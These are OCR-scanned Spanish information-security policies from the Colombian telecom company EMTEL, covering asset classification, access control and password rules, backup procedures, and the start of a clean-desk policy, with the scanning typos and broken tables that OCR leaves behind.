o todas las propiedades (confidencialidad, integridad y disponibilidad es alta.

Activos de informacion en los cuales la clasificacion de la informacidn es alta en

MEDIA . ) )
(1) de sus propiedades o al menos una de ellas es de nivel medio.
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Activos de informacién en los cuales la clasificacion de la informacién en todos
sus niveles es baja

Tabla 2. Niveles de clasificacién
Clasificacion de acuerdo con la confidencialidad

La confidencialidad se refiere a que la informacidn no esté disponible ni sea revelada a individuos,
entidades o procesos no autorizados, esta se debe definir de acuerdo con las caracteristicas de los
activos que se manejan en cada entidad, en esta guia se definen tres (3) niveles alineados con los
tipos de informacién declarados en la ley 1712 del 2014

Informacién disponible solo para un proceso de la entidad y que en caso de
ser conocida por terceros sin autorizacion puede conllevar un impacto
negativo de indole legal, operativa, de pérdida de imagen o econdmica

informacion disponible para todos los procesos de la entidad y que en caso
de ser conocida por terceros sin autorizacién puede conllevar a un impacto
INFORMACION | negativo para los procesos de la misma.
PUBLICA Esta informacién es propia de la entidad o de terceros y puede ser entregada
CLASIFICADA a todos los funcionarios de la entidad para realizar labores propias de los
procesos, pero no puede ser conocida por terceros sin autorizacion del

propietario.

Informacién que puede ser entregada o publicada sin restricciones a
cualquier persona dentro y fuera de la entidad, sin que implique dafios a
terceros ni a las actividades y procesos de la entidad.

Activos de informacion que deben ser incluidos en el inventario y que atin
no han sido clasificados, deben ser tratados activos de INFORMACION
PUBLICA RESERVADA.

Tabla 3. Esquema de clasificacion por confidencialidad
Clasificacion de acuerdo con la integridad

La integridad se refiere a la exactitud y completitud de la informacién (ISO 27000) esta propiedad
es la que permite que la informacién sea precisa, coherente y completa desde su creacién hasta su
destruccidn. En esta guia se recomienda el siguiente esquema de clasificacion de tres (3) niveles:
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Informacién cuya pérdida de exactitud y completitud puede conllevar a un
impacto negativo de indole legal o econdmica, retrasar sus funciones, o
generar pérdidas de imagen severas de la entidad.

Informacién cuya pérdida de exactitud y completitud puede
conllevar un impacto negativo de indole legal o econdmica,
retrasar sus funciones, o generar pérdida de imagen
moderado a funcionarios de la entidad.

Informacién cuya pérdida de exactitud y  completitud
conlleva un impacto no significativo para la entidad o entes
| externos

Activos de Informacion que deben ser incluidos en el
inventario y que aln no han sido clasificados, deben ser
tratados como activos de informacién de integridad ALTA

Tabla 4. Esquema de clasificacion por integridad
Clasificacién de acuerdo con la disponibilidad

La disponibilidad es la propiedad de la informacién que se refiere a que ésta debe ser accesible y
utilizable por solicitud de una persona entidad o proceso autorizada cuando asi lo requiera estd, en
el momento y en la forma que se requiere ahora y en el futuro, al igual que los recursos necesarios
para su uso. En esta guia se recomienda el siguiente esquema de clasificacién de tres (3) niveles

La no disponibilidad de Ila informacién puede conllevar un
impacto negativo de indole legal o econdmica, retrasar sus
funciones, o generar pérdidas de imagen severas a entes
externos.

La no disponibilidad de la informacidn puede conllevar un
impacto negativo de indole legal o econdmica, retrasar sus
funciones, o generar pérdida de imagen moderado de la entidad.

La no disponibilidad de la informacién puede afectar la operacidén
normal de la entidad o entes externos, pero no conlleva
implicaciones legales, econémicas o de pérdida de imagen.

@ [ ¢, Empresa de Telecomunicaciones de Popayan EMTEL S.A. E.S.P.

Calle5#5-68 w 8-22-22-55




CODIGO:PO.02.TI

POLITICA GESTION DE ACTIVOS VERSION: 01
Proceso: TECNOLOGIA DE LA INFORMACION

VIGENCIA:01/02/2018
Pagina 16 de 16

Activos de Informacién que deben ser incluidos en el inventario y
que aun no han sido clasificados, deben ser tratados
como activos de informacién de disponibilidad ALTA

Tabla 5. Esquema de clasificacién por disponibilidad
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1. [INTRODUCCION
Controlar quien accede a la informacién de una empresa es el primer paso para protegerla,

en ese sentido resulta esencial definir quién tiene permisos para acceder a la informaciodn,
como, cuando y con qué finalidad.

Bajo estos aspectos la empresa de telecomunicaciones de Popayan S.A EMTEL E.S.P, entiendo
la importancia que tiene la implementacién de un conjunto adecuado de controles que
permitan garantizar mecanismos de proteccién relacionados con los accesos a la informacién
de esta, establece la politica de control de acceso.

2. OBIJETIVO
Garantizar que los activos de informacién de la empresa de Telecomunicaciones de Popayan

S.A EMTEL E.S.P. esté debidamente protegidos contra accesos no autorizados, a través de
mecanismos de control de acceso ldgico vy fisico.

3. ALCANCE
Esta politica aplica para los empleados, contratistas y terceros de la Empresa de

Telecomunicaciones S.A EMTEL E.S.P que tengan acceso a los sistemas de informacién y alas
instalaciones de la empresa.

4. TERMINOS Y DEFINICIONES
e Acceso: En relacion con la seguridad de la informacion se refiere a la identificacidn,

autenticacién y autorizacion de un usuario a los sistemas, recursos y dreas de la empresa.

e Acceso fisico: Ingreso a dreas o instalaciones de la empresa

e Acceso ldgico: E£s un acceso en red, por ejemplo: acceder a archivos, navegar en el
servidor, enviar un correo electrénico o transferir archivos. La mayoria de los accesos
Idgicos se relacionan con algun tipo de informacidn.

e Activo: En relacion con la seguridad de la informacion, se refiere a cualquier informacion o
elemento relacionado con el tratamiento de la misma (sistemas, soportes, edificios,
personas...) que tenga valor para la organizacion. (ISO/IEC 27000).

e Control: Las politicas, los procedimientos, las prdcticas y las estructuras organizativas
concebidas para mantener los riesgos de seguridad de la informacién por debajo del nivel
de riesgo asumido. Control es también utilizado como sindnimo de salvaguarda o
contramedida. En una definicion mds simple, es una medida que modifica el riesgo.

e Confidencialidad: Propiedad que determina que la informacién no esté disponible ni sea
revelada a individuos, entidades o procesos no autorizados

¢ Disponibilidad: Propiedad de que la informacién sea accesible y utilizable por solicitud de
una entidad autorizada.

e Integridad: Propiedad de salvaguardar la exactitud y estado completo de los activos.
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e Politica: Declaracidn de alto nivel que describe la posicidn de la empresa sobre un tema
especifico.

5. DOCUMENTOS DE REFERENCIA
e Norma ISO/IEC 27001:2013, control 9.1.1-Politica de control de acceso
e Norma ISO/IEC 27002:2013
e Politica de seguridad de la informacién de la empresa de telecomunicaciones de Popayan
S.AEMTELE.S.P

e Guia 2- Politica general del Modelo de Seguridad y Privacidad de la Informacidn
enmarcada en el MSPI propuesto por el MinTIC

6. MARCO LEGAL
® Decreto 1078 de 2015

® Ley1581de2012.

e ley 1273 de 2009

e ley1712de 2014,

® Ley 1266 de 2008.
7. POLITICA

7.1 Gestion de acceso a usuarios

a) El control de acceso a la Informacién se realizard aplicando el principio de minimo
privilegio necesario para la realizacién de las actividades asignadas

b) El acceso a los activos de informacién de la empresa debe considerar los niveles de
clasificacion de la informacién.

¢) La oficina de tecnologias de la informacién establece el procedimiento creacién de
usuario de servicios Tl, con el fin de controlar la asignacién de derechos de acceso a los
sistemas, datos y servicios de informacidn.

d) Los jefes de oficina y/o divisién son los Unicos autorizados para solicitar el acceso a
servicios de red, plataformas tecnoldgicas y sistemas de informacién, a través del recurso
en linea solicitud de creacién de cuenta de usuario servicios Ti, definido en el
procedimiento creacién cuenta de usuario

e) La generacién de cuenta de usuario se realizara posterior a la aprobacion de la solicitud
realizada a través de la opcidn solicitud de creacién de cuenta de usuario servicios Tl
disponible en la intranet de la empresa; mediante esta solicitud, la empresa autoriza el
acceso fisico y el acceso a servicios de tecnologias de la informacidn a empleados,
contratistas y practicantes. En la solicitud de creacién de cuenta, se debe indicar los

@ (] ¢, Empresa de Telecomunicaciones de Popayan EMTEL S.A. E.S.P.
Calle5#5-68 . 8-22-22-55




CODIGO:PO.02.TI

POLITICA CONTROL DE ACCESO VERSION: 01

Proceso: TECNOLOGIA DE LA INFORMACION
VIGENCIA:01/02/2018

Pégina 6 de 10

servicios a los cuales el usuario tendrd acceso, perfil de navegacién de internet y los
privilegios de acceso otorgados.

f) Posterior a la creacién de la cuenta de usuario la oficina de Ti entregard al empleado el
formato entrega de usuarios y contrasefias, el cual deberd firmar.

g) Laadministracién de los perfiles de usuario es responsabilidad de los administradores de
cada aplicacién (sistema) y de las dreas responsables de dicho activo.

h) Los datos de acceso a los sistemas de informacidn deberdn estar compuestos por un ID o
nombre de usuario y contrasefia que debe ser tnico por cada empleado.

i) T deberd mantener un registro central de los derechos de acceso otorgados a una
identificacion de usuario para acceder a los sistemas de informacién de la empresa.

J) TI deberd deshabilitar o retirar inmediatamente los derechos de acceso a sistemas de
informacién correspondientes a empleados que ya no tengan relacién con la empresa.
Para el retiro de derechos de acceso a servicios de Tl o ajuste de estos, la divisién de
gestién administrativa o la oficina de juridica deberdn hacer la solicitud a través del correo
de soporte@emtel.com.co.

k) Las cuentas de usuarios y contrasefias o cualquier otro mecanismo de autenticacién a los
sistemas de informacién, deben ser tratadas como informacidn confidencial de Ila
empresa, por lo cual no se deben divulgar, publicar ni compartir con ninguna persona.

I) Tl deberd identificar los derechos de acceso privilegiado asociados con cada sistema,
aplicacion o proceso, los cuales se deberan a asignar a un usuario con base a los requisitos
minimos para cumplir sus funciones.

m) Se deberd incluir en los contratos las sanciones que tendria un empleado al intentar
acceder de forma no autorizado a plataformas tecnoldgicas y servicios de la empresa.

Seleccién y uso de contraseiias

a) Para el acceso a sistemas de informacién de la empresa se deben emplear
obligatoriamente contrasefias con alto nivel de complejidad, y no deben ser palabras que
se puedan encontrar en un diccionario, ni tener informacidn personal, como por ejemplo
nombres, ndmeros de teléfono, etc, asi mismo se debe evitar relacionarlas con fechas
especiales.

b) No se debe registrar contrasefias en papeles, archivos digitales a menos de que se puedan
almacenar de forma segura y el método de almacenamiento este aprobado por la
empresa.

¢} No se debe habilitar la opcidn recordar clave en este equipo

d) Sedebe cambiar las contrasefias si se piensa que alguien mas la conoce

e) Nunca se deben utilizar contrasefias personales en el entorno laboral

f) Las contrasefias deben cambiarse regularmente o cuando lo establezca TI.
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g) Llas contrasefias deben tener minimo ocho caracteres, no se deben usar caracteres
idénticos consecutivos, ni que sean todos numéricos, ni todos alfabéticos, asi mismo
deben cumplir con al menos tres de estos 4 criterios:

e Caracteres en mayusculas

e Caracteres en mintsculas

e Base de 10 digitos (0O a 9)

e Caracteres no alfabéticos (Ejemplo i,$,%,&)

h) Cada empleado de la empresa debe usar identificaciones tnicas que permitan asociarlos
con sus actividades y hacerlos responsables de sus acciones, el uso de contrasefias
compartidas solo se debe permitir cuando sea necesario por razones operativas y de ser
asi se debe documentar y ser aprobado por la oficia de TI. Las contrasefias son de uso
personal e intransferible y las acciones realizadas con estas, son responsabilidad de cada
usuario.

Control de acceso a sistemas de informacién, redes y plataformas tecnoldgicas

a) Todos los equipos de usuario final, que se conecten o deseen conectarse a las redes de
datos de la empresa, deben cumplir con los requisitos o controles para autenticarse en
ellas y tnicamente podrén realizar las tareas para las que fueron autorizados.

b) Tl debe asegurase que las redes inaldmbricas de la empresa cuenten con métodos de
autenticacidn que eviten accesos no autorizados.

c) Los equipos de la empresa requieren proteccidn contra accesos no autorizados cuando se
encuentran desatendidos, para ello se debe habilitar la opcidn de bloqueo automético tras
inactividad superior a 5 minutos.

d) Las cuentas de usuario en aplicaciones que vengan por defecto se deben deshabilitar
inmediatamente después de la instalacién de la aplicacién.

e) TI debe monitorear periédicamente los perfiles definidos en los sistemas de informacién
de la empresa.

f) Tl deben garantizar mediante los controles necesarios que se utilicen diferentes perfiles
para los ambientes de desarrollo, pruebas y produccién, estos deben estar totalmente
separados de las actividades diarias de la empresa, para evitar que pongan en riesgo la
integridad de la informacién de la empresa.

g) Se deberd controlar estrictamente el acceso a los cédigos fuente de programas y
elementos asociados a estos como: disefios, especificaciones, planes de verificacién y
planes de validacién, con el fin de evitar la introduccién de funcionalidad no autorizada y
para evitar cambios involuntarios y mantener la confidencialidad de propiedad intelectual,
bajo estos aspectos la oficina de Tl debe disponer de un repositorio de archivos fuente de
los sistemas de informacidn; estos deben contar con acceso controlado y restriccién de
privilegios.
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Control de acceso fisico

a) La empresa de telecomunicaciones de Popaydn S.A EMTEL E.S.P deberd contar con un
sistema adecuado para la deteccidn de intrusos y este se deberd poner a prueba
regularmente para abarcar todas las puertas externas y ventanas accesibles.

b) Al ingresar personal externo a la empresa se debe diligenciar el formato registro de
ingreso de visitantes a instalaciones sede administrativa y sede operativa de la empresa
de telecomunicaciones de Popaydn S.A EMTEL E.S.P

c) El personal de vigilancia de la empresa debe revisar todo bolso o paquete de empleados y
personal externo al ingresar o salir de las instalaciones

d) Se debera restringir el acceso a dreas de procesamiento de informacién (data centers), por
lo cual estas dreas deben estar protegidas por controles de entrada (tecnologias de
autenticacién, monitoreo y registro de entradas y salidas) que aseguren el permiso de
acceso solo a las personas que estén autorizadas. En ese sentido el acceso a centro de
datos se encuentra restringido para visitantes y proveedores, solo se permite el acceso
mediante la solicitud ingreso de visitantes (ver ANEXO C. formato solicitud ingreso a
visitantes a data center) aprobada por la oficina de Ti.

e) Asi mismo se debera llevar un registro con fecha y hora (ver ANEXO D. formato registro
de ingreso a data center) de las personas que ingresan a los centros de procesamiento de
datos ubicado en la entrada de estos.

f) Laoficina de Tl debe asegurarse que los centros de datos estén provistos de:

e Sefalizacién adecuada de todos y cada uno de los diferentes equipos y elementos, asi
como luces de emergencia y de evacuacién, cumpliendo las normas de seguridad
industrial y de salud ocupacional.

e Sistema de refrigeracién de aire acondicionado. Este equipo debe ser redundante para
que en caso de falla se pueda continuar con la refrigeracién.

e Unidades de potencia UPS, que proporcionen respaldo al mismo, con el fin de
garantizar el servicio de energia eléctrica durante una falla momenténea del fluido
eléctrico de la red pdblica.

e Extintores de incendios o un sistema contra incendios debidamente probados y con la
capacidad detener el fuego generado por equipo eléctrico, papel o quimicos
especiales.

g) También se prohibe cualquiera de las siguientes acciones por parte de personal de la
empresa sin previa autorizacién de la oficina de TI
® Mover, desconectar y conectar equipos de cémputo
e Modificar la configuracién de un equipo
e Extraer informacién de los equipos en dispositivos externos

e Alterar o dafiar las etiquetas de identificacion de los equipos o sus conexiones fisicas

@ [ ¢, Empresa de Telecomunicaciones de Popayan EMTEL S.A. E.S.P.
Calle5#5-68 . 8-22-22-55




CODIGO:PO.02.TI

POLITICA CONTROL DE ACCESO VERSION: 01
Proceso: TECNOLOGIA DE LA INFORMACION
VIGENCIA:01/02/2018
Pagina 9de 11

e Hacer mal uso de los sistemas de informacién

ROLES Y RESPONSABILIDADES

Monitorear el cumplimiento de las politicas de seguridad de la informacién

OFl D - 5
TE gN%TQGIiS Implementar el registro de eventos o actividades de usuarios de acuerdo a lo
DE LA definido por los propietarios de la informacién, asi como la depuracién de los |
INFORMACION | TS™MOs.
Implementar procedimientos para la activacidn y desactivacién de derechos de
acceso a las redes.
Sugerir procedimientos para la asignacién de acceso a los sistemas, bases de
datos y servicios de informacién de la empresa; la solicitud y aprobacién de
acceso  a Internet o redes externas; el uso de computacién mévil, trabajo
OFICIALDE | émoto.
SEGURIDAD DE . o ) )
LA Verificar el cumplimiento de las pautas establecidas, relacionadas con control de
INFORMACION | 3¢ceso, creacién de usuarios, administracién de privilegios, administracion de

contrasefias y utilizacién de servicios de red

Concientizar a los usuarios sobre el uso apropiado de contrasefias y de equipos
de trabajo.

PROPIETARIOS

Definir los niveles de clasificacién de la informacidn

Asegurar que los controles de seguridad implementados sean consistentes con
la clasificacidn de la informacidn

Determinar los controles de acceso, autenticacién y utilizaciéSn a ser

DE LOS implementados en cada caso.
ACTIVOSDE | jevar a cabo un proceso formal y periddico de revisién de los Privilegios de
INFORMACION | 5cce50 2 la informacién.
Tomar las acciones necesarias en caso en que se presente violaciones a la
seguridad de la informacién
JEFES DE i . -
OFICINA Y/O solicitar el acceso de los usuarios a su cargo a servicios de red, plataformas
DIVISION tecnoldgicas y sistemas de informacidn
Cumplir con las politicas de seguridad de la informacién de la empresa
USUARIOS | Mantener confidenciales las contrasefias personales asegurdndose que no se

divulguen a nadie, incluyendo personas con mayor autoridad, asi mismo deben
conservar las contrasefias de grupo tinicamente entre los miembros de este
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Cumplir con las buenas précticas en la seleccién y uso de contrasefias.

cerrar sesion cuando finalice sus actividades

Reportar cualquier evento que atente contra la seguridad de la informacién en
la empresa

9. ANEXOS
ANEXO A: Procedimiento creacién de usuario servicios TI.
ANEXO B: Formato entrega de usuarios y contrasefias.
ANEXO C: Formato solicitud ingreso a visitantes a data center.
ANEXO D: Formato registro de ingreso a data center
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1. INTRODUCCION

Los medios de almacenamiento pueden verse afectados por diversas situaciones como robos,
incendios, inundaciones, fallos eléctricos, fallo del dispositivo, virus, borrados accidentales, etc.
En ese sentido resulta de gran importancia respaldar la informacidn que se encuentra
contenida en cada uno de estos y asegurar su restauracién en caso de falla y/o desastre,
teniendo en cuenta lo anterior la empresa de telecomunicaciones de Popayan S.AEMTEL E.S.P
crea la politica copias de respaldo con el fin de garantizar la disponibilidad de la informacién en
caso de contingencia.

2. OBIJETIVO
Establecer las directrices para asegurar la generacién de copias de respaldo que garanticen la
continuidad del negocio.

3. ALCANCE
Aplica para todos los empleados, contratistas y practicantes de la empresa de
Telecomunicaciones Popayén S.A EMTEL E.S.P, encargados de realizar copias de seguridad.

4. REFERENCIAS Y DEFINICIONES

® Activo: En relacidn con la seguridad de la informacion, se refiere a cualquier informacion o
elemento relacionado con el tratamiento de la misma (sistemas, soportes, edificios,
personas...) que tenga valor para la organizacion. (ISO/IEC 27000).

e Informacién: Datos relacionados que tienen significado para la entidad. La informacion es
un activo que, como otros activos importantes del negocio, es esencial para las actividades
de la entidad y, en consecuencia, necesita una proteccién adecuada. La definicion dada por
la ley 1712 del 2014, se refiere a un conjunto organizado de datos contenido en cualquier
documento que los sujetos obligados generen, obtengan, adquieran, transformen o
controlen.

® Backup: Una "copia de seguridad”, "copia de respaldo” o también llamado "backup" (su
nombre en inglés) en tecnologias de la informacion e informdtica es una copia de los datos
originales que se realiza con el fin de disponer de un medio para recuperarlos en caso de su
pérdida. Las copias de seguridad son Utiles ante distintos eventos y usos: recuperar los
sistemas informdticos y los datos de una catdstrofe informdtica, natural o ataque; restaurar
una pequefia cantidad de archivos que pueden haberse eliminado accidentalmente,
infectado por un virus informdtico u otras causas
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Tipos de backups

e Backup completo: Se efecttia una copia de seguridad completa de todos los ficheros y bases
de datos. Puede consumir bastante tiempo si el volumen de datos a salvaguardar es elevado.
La ventaja derivada de este tipo de copia es que se tiene la seguridad de tener una imagen
completa de los datos en el momento de la salvaguarda.

e Backup incremental: Se copian los datos modificados desde la anterior copia incremental.
Siempre se debe partir de una salvaguarda completa inicial. Si se realiza con frecuencia, el
proceso no consumird un tiempo excesivo, debido al bajo volumen de datos a copiar. Por el
contrario, la restauracion es lenta, toda vez que requiere restaurar una copia completa y
todas las copias incrementales realizadas hasta el momento al que se quiera restaurar el
sistema.

e Backup diferencial: Se copian los datos modificados desde la dltima copia completa. Se
ejecutard con mayor o menor rapidez en funcién de la frecuencia con que se realice. La
restauracion suele ser mds rdpida que la incremental, ya que basta con recuperar una copia
completa y una copia diferencial.

e Equipos servidores: Es un ordenador o mdquina informdtica que estd al “servicio” de otras
mdquinas, ordenadores o personas llamadas clientes y que les suministran a estos, todo tipo
de informacién.

e Direccién IP: Una direccién IP es una etiqueta numérica que identifica, de manera Iégica y
jerdrquica, a un interfaz (elemento de comunicacion/conexicn) de un dispositivo
(habitualmente una computadora) dentro de una red que utilice el protocolo IP (internet
Protocolo), que corresponde al nivel de red del protocolo TCP/IP.

e Motor de base de datos: Es un tipo de software muy especifico, dedicado a servir de interfaz
entre la base de datos, el usuario y las aplicaciones que Ia utilizan.

e Seguridad de la informaci6n: Es el conjunto de medidas preventivas y reactivas de las
organizaciones y de los sistemas tecnoldgicos que permiten resguardar y proteger la
informacidn buscando mantener la confidencialidad, la disponibilidad e integridad de datos
y de la misma.

5. DOCUMENTOS DE REFERENCIA
e Norma ISO 27001, control 12.3.1 — Respaldo de la informacién
e Norma ISO/IEC 27002:2013
e Politica de seguridad de la informacién de la empresa de Telecomunicaciones de Popayan
S.AEMTELE.S.P

6. MARCO LEGAL
o Ley1581de2012.
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e Decreto 1083 de 2015.
e Ley1273 de 2009.

7. POLITICA

a) Lainformacién que se encuentra almacenada en los servidores criticos de la empresa, debe
contar con acciones de restauracion que garanticen la integridad de la informacién en casos
de emergencia y segln sea requerido y autorizado por el responsable del activo de
informacién.

b) Para cada copia de respaldo se deberd definir los tipos de copias a ejecutar, la frecuencia
con la que se realizara, los medios de almacenamiento, el tiempo de almacenamiento y
borrado de esta informacién (Ver anexo A procedimiento copias de respaldo).

¢) Se deberda producir registros exactos y completos de las copias de respaldo, y
procedimientos de restauracién documentados.

d) Sedebera llevar un registro de las copias de respaldo realizadas (ver anexo B registro copias
de backup).

e) Todos los medios de respaldo que contienen informacidn de la empresa deben tener un
custodio el cual debe garantizar la proteccidn de los datos que se encuentran almacenados
ahi, de forma que cumplan con los requisitos para ser puestos en funcionamiento en
cualquier momento que sea requerido.

f) Las copias de respaldo se deberdn almacenar en un lugar remoto, a una distancia suficiente
que permita escapar de cualquier dafio que pueda ocurrir en el sitio principal, asi mismo se
deberdn ubicar en un lugar protegido con acceso controlado.

g) Sedeberan realizar pruebas de restauracién de las copias de respaldo en forma controlada
y en un ambiente seguro que contenga los mismos niveles de seguridad del ambiente
original, de forma aleatoria y periddica.
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8. ROLES Y RESPONSABILIDADES

Monitorear el cumplimiento de las politicas de seguridad de la informacién

OFICINA DE
TECNOLOGIAS
DE LA

Coordinar y ejecutar la realizacién de copias de respaldo, utilizando las
herramientas pertinentes para tales efectos y validar que la actividad se realice
correctamente.

INFORMACION

Realizar pruebas periédicas de recuperacién de informacién a partir de las
copias de respaldo.

Definir los niveles de clasificacién de la informacidn

PROPIETARIO DE

Determinar los niveles de acceso a la informacién

LA
INFORMACION

Tomar las acciones necesarias en caso en que se presente violaciones a la
seguridad de la informacién

Verificar periédicamente la integridad de la informacién que tiene a su cargo

CUSTODIO

Administrar y hacer efectivo los controles que el propietario del activo haya
definido

Garantizar que los activos de informacién se encuentren disponible e integros
y que solo personal autorizado acceda a ellos.

Cumplir con las politicas de seguridad de la informacidn de la empresa

USUARIO

Reportar cualquier evento que atente contra la seguridad de la informacién
en la empresa

Utilizar la informacién de la empresa (nica y exclusivamente para propdsitos
autorizados

9. ANEXOS

e ANEXO A: Procedimiento copias de respaldo
e ANEXO B: Registro copias de backup
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PROCEDIMIENTO COPIAS DE RESPALDO

1. OBIJETIVO
Establecer las actividades a seguir para crear copias de seguridad de la informacién
contenida en los servidores criticos de la empresa, con el fin de garantizar la disponibilidad
de la informacidn en caso de desastre o contingencia.

2. ALCANCE
Aplica para todos los empleados, contratistas y practicantes de la empresa de
Telecomunicaciones de Popayén S.A EMTEL E.S.P, encargaos de realizar copias de seguridad.

3. RESPONSABLE
Oficina de Tecnologia de la Informacién.

4. DEFINICIONES

e Backup: Una "copia de seguridad", "copia de respaldo" o también llamado "backup" (su
nombre en inglés) en tecnologias de la informacién e informatica es una copia de los datos
originales que se realiza con el fin de disponer de un medio para recuperarlos en caso de su
pérdida. Las copias de seguridad son Utiles ante distintos eventos y usos: recuperar los
sistemas informaticos y los datos de una catéstrofe informatica, natural o ataque; restaurar
una pequefia cantidad de archivos que pueden haberse eliminado accidentalmente,
infectado por un virus informdtico u otras causas
TIPOS DE BACKUP

e Backup completo: Se efecttia una copia de seguridad completa de todos los ficheros y bases
de datos. Puede consumir bastante tiempo si el volumen de datos a salvaguardar es
elevado. La ventaja derivada de este tipo de copia es que se tiene la seguridad de tener una
imagen completa de los datos en el momento de la salvaguarda.

e Backup incremental: Se copian los datos modificados desde la anterior copia incremental.
Siempre se debe partir de una salvaguarda completa inicial. Si se realiza con frecuencia, el
proceso no consumird un tiempo excesivo, debido al bajo volumen de datos a copiar. Por el
contrario, la restauracién es lenta, toda vez que requiere restaurar una copia completa y
todas las copias incrementales realizadas hasta el momento al que se quiera restaurar el
sistema.

e Backup diferencial: Se copian los datos modificados desde la tltima copia completa. Se
ejecutara con mayor o menor rapidez en funcién de la frecuencia con que se realice. La
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restauracion suele ser mds rapida que la incremental, ya que basta con recuperar una copia
completa y una copia diferencial.

e Equipos servidores: Es un ordenador o maquina informética que esta al “servicio” de otras
méquinas, ordenadores o personas llamadas clientes y que les suministran a estos, todo
tipo de informacién.

e Direccién IP: Una direccidn IP es una etiqueta numérica que identifica, de manera légica y
jerdrquica, a un interfaz (elemento de comunicacién/conexién) de un dispositivo
(habitualmente una computadora) dentro de una red que utilice el protocolo IP (Internet
Protocolo), que corresponde al nivel de red del protocolo TCP/IP.

e Motor de base de datos: Es un tipo de software muy especifico, dedicado a servir de interfaz
entre la base de datos, el usuario y las aplicaciones que la utilizan.

e Seguridad de la informacién: Es el conjunto de medidas preventivas y reactivas de las
organizaciones y de los sistemas tecnolégicos que permiten resguardar y proteger la
informacién buscando mantener la confidencialidad, la disponibilidad e integridad de datos
y de la misma.

5. CONDICIONES GENERALES:

Para llevar a cabo este procedimiento es necesario contar con inventario de activos de
informacién actualizado, y a si mismo realizar la clasificacién de los mismos para asegurar
que la informacidn reciba los niveles de proteccién adecuados, en ese sentido la norma ISO
27001:2013 propone un sistema de clasificacién basado en la confidencialidad, integridad y
disponibilidad los activos permitiendo de esta manera determinar el valor del activo en la
empresa. Ademas, se debe definir un tiempo para la retencién de los backups de acuerdo a
la criticidad de la informacién que estos manejen.

6. DESCRIPCION DE ACTIVIDADES
NOMBRE DE REGISTRO/

ACTIVIDAD / DESCRIPCION RESPONSABLE
LA ACTIVIDAD DOCUMENTO

Identificar el | De acuerdo con el inventario y
esquema de | clasificaciéon de los activos de

copias de | informacién de la oficina de TI, se
respaldo deben identificar las bases de datos
que se deben incluir en los backups. .
1 Ingeniero de Tl

El tipo de backup dependera del nivel
de criticidad de la informacién que
maneja cada servidor, en ese sentido
los tipos de backups que se deben
realizar acorde a la informacién son:
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backup completo, incremental y
diferencial.

Para la retencién de los backups se
tendra en cuenta lo siguiente:

Backup diarios: este tipo de backups
se alojaran diariamente en una cinta
magnética que se encuentra en el
mismo servidor, cada cinta en
promedio guardara la informacién
correspondiente a 5 afios

Backup mensual: Los backups
mensuales se alojardn en una carpeta
dentro del mismo servidor y tendra
una retencion de 12 meses.

Programar Se debe realizar la programacién | Ingenierode Tl | Archivo copia
copias de | automdtica de los respectivos de seguridad
respaldo. backups de acuerdo con su tipo y

2 frecuencia, a través de |las

herramientas proporcionadas por el
motor  de base de datos
correspondiente.

Los ingenieros y el técnico de soporte | ingenierode Tl, | Documento

que tengan a cargo la realizacién de Técnico de restauracion

Documentar . ,
o, copias de respaldo, deben soporte. de copias de
programacion -
. documentar el procedimiento, respaldo.

de copias de . o

teniendo en cuenta los siguientes

respaldo .,
items:

IP del servidor

Nombre del servidor

Nombre de la base de datos
Frecuencia con la cual se realiza el
backup (Diario, semanal, mensual,
anual).

Ruta exacta donde se aloja el backup
Modo de recuperacién.

, Empresa de Telecomunicaciones de Popayan EMTEL S.A. ES.P
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Verificar la

Elingeniero o técnico de soporte debe

Ingeniero de Tl,

N/A

ejecutadas no permiten la
normalizacién del servicio, se debe
realizar la restauracién del backup
mds reciente de la base de datos
correspondiente.

ejecucién  de | verificar que la copia de respaldo se Técnico de
4 | las copias de | haya ejecutado correctamente, de no soporte.
respaldo ser asi se deberd reprogramar
nuevamente.
Comprobar Se debe realizar peridédicamente de | Ingeniero de Tl Bitdcora de
aleatoriamente | manera aleatoria la restauracién de registro de
las copias de | un backup de bases de datos, fallas
5 respaldo de | estableciendo la ruta donde quedo la
bakups de base | copia de respaldo, en caso que se
de datos presenten errores o problemas se
debe documentar en la bitdcora de
registros de fallas.
Recuperar en | En caso de presentarse una falla en el | Ingeniero de Ti N/a
caso de fallas o | servidor o desastre que impacte la
desastre operacion de la base de datos, se debe
realizar un diagndstico inicial y aplicar
& las posibles soluciones. Si las acciones

7. ACCIONES CONTINGENTES:
Si existe falla en la programacién automatica de los backups, esta se debera realizar manual
Si no es posible realizar una restauracién, dependiendo de la importancia de la misma, se
escalaré el caso al proveedor y en caso de que no sea posible se contactara a una empresa
especializada en la recuperacién de informacién.

8. DOCUMENTOS DE REFERENCIA: N.A
9. REGISTROS DE CALIDAD: N.A

10. ANEXOS

e ANEXO A: Diagrama de flujo del procedimiento
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REGISTRO COPIAS DE BACKUPS

NOMBRE DE LA
FECHA PLATAFORMA TIPO DE BACKUP ROTULO OBSERVACION
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1. INTRODUCCION
Esta politica tiene como finalidad proteger los documentos de la empresa, tanto fisicos como
digitales, estableciendo los lineamientos que permitan reducir los riesgos de acceso no
autorizado a la informacion. Este documento se basa en las buenas practicas que define la
norma 1SO27001 para mantener el orden y la limpieza en los puestos de trabajo de una
empresa.

2. OBIJETIVO
Establecer las directrices para prevenir el acceso no autorizado, pérdida y/o dafio de la
informacién que se encuentra en los puestos de trabajo, equipos de cdmputo, medios
extraibles y dispositivos de impresién, durante y fuera del horario laboral.

3. ALCANCE
Esta politica aplica para todos los empleados, contratistas y terceros de la Empresa de
Telecomunicaciones S.A EMTEL E.S.P.

4. DEFINICIONES

e Documento Electrénico: Es la informacién generada, enviada, recibida, almacenada o
comunicada por medios electrdnicos, dpticos o similares.

e Informacién Publica: Es toda informacion que un sujeto obligado genere, obtenga,
adquiera, o controle en su calidad de tal.

e Informacién Piblica Clasificada: Es aquella informacion que estando en poder o custodia
de un sujeto obligado en su calidad de tal, pertenece al émbito propio, particular y privado
o semiprivado de una persona natural o juridica por lo que su acceso podrd ser negado o
exceptuado, siempre que se trate de las circunstancias legitimas y necesarias y los
derechos particulares o privados consagrados en el articulo 18 de la Ley 1712 de 2014.

e Informacién Piblica Reservada: Es aquella informacidn que estando en poder o custodia
de un sujeto obligado en su calidad de tal, es exceptuada de acceso a la ciudadania por
dafio a intereses publicos y bajo cumplimiento de la totalidad de los requisitos consagrados
en el articulo 19 de la Ley 1712 de 2014.

e Medio Extraible: Dispositivo que permite almacenar o transportar informacion como
memorias USB, tarjetas de memoria, cintas magnéticas, CD, DVD, discos duros externos.
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o Puesto de Trabajo: Lugar dispuesto para que los funcionarios o contratistas realicen las
labores relacionadas con las funciones o el cumplimiento de las obligaciones contractuales,

segun el caso.
